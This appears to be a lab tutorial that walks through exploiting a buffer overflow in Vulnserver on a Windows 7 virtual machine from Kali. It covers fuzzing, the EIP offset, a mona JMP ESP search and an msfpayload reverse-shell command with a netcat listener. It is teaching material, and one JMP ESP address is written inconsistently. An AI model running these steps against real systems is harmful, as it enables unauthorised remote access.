Buffer Overflow - English.pdf

Buffer Overflow Exploit 101 1
Buffer Overflow 3
What is Buffer Overflow: 3
Project Objective: 4
Findings and Screenshots: 4
Installation and Description of Immunity Debugger: 10
Running applications through Windows command prompt 30

Buffer Overflow
What is Buffer Overflow:
A buffer overflow exploit is a security vulnerability that occurs when
an application receives more data than expected, causing it to fill up
memory space and even crash the program. Through this
vulnerability, an attacker can run malicious code on the target
application and take control of the system.
Buffer overflow exploits often stem from programming errors,
incomplete input validation processes, or weaknesses in the data
structures used in the program. These vulnerabilities allow attackers
to gain control over an application.
Buffer overflow exploits pose a significant threat to cybersecurity and
are often a key component of malware and cyber attacks. Therefore,
software developers and system administrators should have
knowledge of application security and design their applications
properly to defend against these types of attacks.

Project Objective:
To detect a vulnerability in an application and develop an exploit code
that will take advantage of this vulnerability is the goal. We will
perform a buffer overflow attack on the target computer through the
operating systems installed on the virtual machine. Our operating
system on which we will launch the attack and develop the exploit
code is "Kali". Kali is an operating system with more than 300
security tools. The target computer is "Windows 7", developed by
Microsoft, which is installed on the virtual machine.
Findings and Screenshots:
We run a software called Vulnserver on Windows 7 to
detect a vulnerability in an application and develop an
exploit code that will take advantage of this vulnerability. We
obtain the IP address of our machine by typing "ipconfig" in
the command prompt.

We see that our IP address is 192.168.124.133.

1. At this stage, we try to communicate with the target computer on the
command prompt in Kali. For this purpose, we type "telnet
192.168.124.133 9999" on the command line. Here, 9999 is the port used
by Vulnserver.
On the screen that appears, we type the "HELP" command to learn which
commands we can use.
2. To see if the connection is established, we look at the
Vulnserver screen.

When we look at the screen, we see that it has established
communication with the IP address 192.168.124.131. Let's
confirm this IP address on our Kali machine..
When we look at it, we see that this IP address belongs to us.
3. At this stage, I am sending a series of characters to Vulnserver with the
TRUN command. The purpose of this is to see if Vulnserver will accept
this communication. We will use the ./exploit command that we developed

earlier and will discuss in the next steps to send 3 packets to the target
PC.
It tells us that this operation has been completed successfully.
To see if Vulnserver has also accepted this connection, we
check the Vulnserver screen.

4. At this stage, I will discuss the steps for developing the exploit code that
we will use in the next step. For this, we type "nano exploit" on the
console screen and write our codes using the Python language on the
screen that appears.
Here, we write the IP address of the target PC to the place where
it says "server", and the port number to the place where it says
"sport". With this program, it will send the "A" character to the
target PC as many times as the number we entered from the
keyboard.
After writing our code, we type "ctrl + x", confirm the screens that
appear, and return to our console screen. Then, we type "chmod
a+x exploit" on the console. If we do not enter this code, access
will be restricted when we run the exploit.
5. Now, we are trying to cause an error in Vulnserver by sending a
large number of "A" packets to the target computer.

First, we sent 1000 characters, but the program did not crash.
When we increased the packet count to 2000, we see that the
packets were not delivered.
6. We see that the Vulnserver software crashed with the 2000 packets sent.

Installation and Description of Immunity Debugger:
We download the Immunity Debugger software, which we have
seen its inside and working capability, from the
http://debugger.immunityinc.com/ website to our target computer.
After running the setup file as an administrator, the screen given
below will appear. After checking the "I accept" box, we install the
program.
After the program is installed, our application can be opened as
shown below:

▪ At the bottom left: The current state of the software
▪ Among the registry values on the top right of the screen:
▪ EIP: Extended Instruction Pointer, the next command to be processed by
the software.
▪ ESP: Extended Stack Pointer, top of the memory
▪ EBP: Extended Base Pointer, bottom of the memory
▪ The screen on the top left shows what is happening in the Assembly
language.
7. We add Vulnserver to Immunity Debugger. For this, we click on
the File and Attach tabs in order and select "vulnserver.exe" in
the screen that appears as shown below and click "Attach".
After clicking the "Attach" button, we will encounter a
screen like the one below.

8. We run Immunity Debugger by clicking the play button
on the top left.
As seen in the image, it says "Running" on the bottom right. The program
has started running.
9. We send 2000 "A" characters from Kali to the target machine
again and examine the error it gives.

After sending the packets, let's look at the error given on the
Immunity Debugger screen.
We see the warning "Access violation when writing to [41414141]".
The "A" character strings we sent were interpreted as an address where
data needed to be written, and an error occurred while writing to this
address. Let's quickly look at the ASCII code equivalent of the hex value
"41414141" mentioned in the "Access violation when writing to
[41414141]" warning.

When we looked at it, we got 'AAAA'.
10. This time, we send 3000 "A" characters from Kali to the
target machine and examine the error it gives.
After sending the packets, let's look at the error given on the
Immunity Debugger screen.

We see the error "Access violation when executing
[41414141]" in the bottom left of our Immunity Debugger
screen. This error means that some of the characters we
sent were interpreted as a command to be executed rather
than as a location where data would be written. We had just
looked at the ASCII code equivalent of the hex value
"41414141" mentioned in "Access violation when writing to
[41414141]", and it gave us the result 'AAAA'.
11. Now, we will develop a new code that will create a unique table
for us. The benefit of this table will be to find out where the error
occurred in the next exploit we develop.

We run the program and wait in the background.
12. Now, using this table, we will develop a new exploit and launch
an attack with it, and examine the error it gives.

Now, we will launch the attack.
Let's take a look at the error given.

We see the error "Access violation when executing
[35324131]" on the bottom left of our Immunity Debugger
screen. Let's quickly check the character equivalent of the
hex value "35324131".
13. We determine the location of "1A25" in the table we had
previously set aside for this purpose.

14. To verify our assumption, we believe that the relevant location
is 4 bytes after 2006 bytes according to the calculation. We will
write a value to EIP to check the result.
Now, we are performing our attack.

Let's check the error message to see if our assumption
was correct.
We see the error message "Access violation when executing
[4E414B4F]" on the lower left corner of our Immunity
Debugger screen. Let's quickly check the character
representation of this expression, which is "NAKO" in ASCII.

15. MONA.py, developed by Corelean, provides support for
making important changes that will allow our exploit code to work
on every computer. Now, we download and copy the mona.py file
to the relevant directory.

16. We can see the modules loaded with Vulnserver by typing
"!mona modules" into the white command prompt under
Immunity Debugger.
We see a "null byte ('x00')" that we previously identified as a
"bad character" at the beginning of the address because
Vulnserver starts at very low memory addresses (in the BASE
column). Currently, we only have the essfunc.dll module
available for use.
17. We are trying to find the hex code for JMP and ESP by going back to
our Kali machine.

18. We are trying to find the JMP ESP hex code using
Mona. For this, we run the command "!mona find -s
"xffxe4" -m essfunc.dll" in immunity debugger.
As seen above, there are 9 pointers found. We will focus on the
first one, which is 625011af.

19. Now, we are restarting the immunity debugger. After that, we
will generate a new test code and send an attack with the JMP
ESP address (625011af).
We are developing our exploit code using the address 615011af.
20. After developing the exploit code, we will now launch another
attack using a test code to check the buffer overflow in the cache.

21. Now it's time to develop our exploit code. To do this, we open
our console screen and type "nano okanyildiz". This will bring up
a text editor where we can write our exploit code.

22. We will replace the empty brackets in our exploit code with a
simple "reverse shell" exploit code from Metasploit. For this, we
enter the command "msfpayload windows/shell_reverse_tcp
LHOST="192.168.124.131" LPORT=443 EXITFUNC=thread R |
msfencode -b 'x00' -e x86/shikata_ga_nai" in the command
prompt. Here, we enter the IP address of our attacking machine
(Kali) in the LHOST section, specify the port number to connect
back to us in the LPORT section, and use "-b 'x00'" in the
"msfencode" part to allow the use of the identified bad
characters.

23. You copy the obtained exploit code into the parentheses of
exploit() and then press ctrl + x to save and exit. After that, you
type chmod a+x okanyildiz to give it executable permissions.

24. Type "nc -nlvp 443" on the command line to start listening on
port 443 using Netcat. If our attack code is successful and
vulnserver does not crash, we will obtain a Windows command
prompt on the target system via Netcat.
25. The developed exploit code is executed by running the
program. Before running the program, don't forget to start
vulnserver on your Windows machine.

26. After running the exploit code, we check the Netcat software.
As seen, our attack was successful and we gained access to the
target system's Windows command prompt. In the following
section titled "Running Applications on Target System from
Attacking Machine", we will run programs on the target system
from our attacking machine.

Running applications through Windows command prompt
1. To run the Notepad application from Kali, we type notepad.exe
and press enter.
2. To open the calculator application, we type calc.exe.

3. To open Disk Management, we can type "diskmgmt.msc" in the Windows
command prompt.

4. To open Programs and Features, we can type appwiz.cpl.

5. To open Display Properties, we type desk.cpl in the Windows command prompt.

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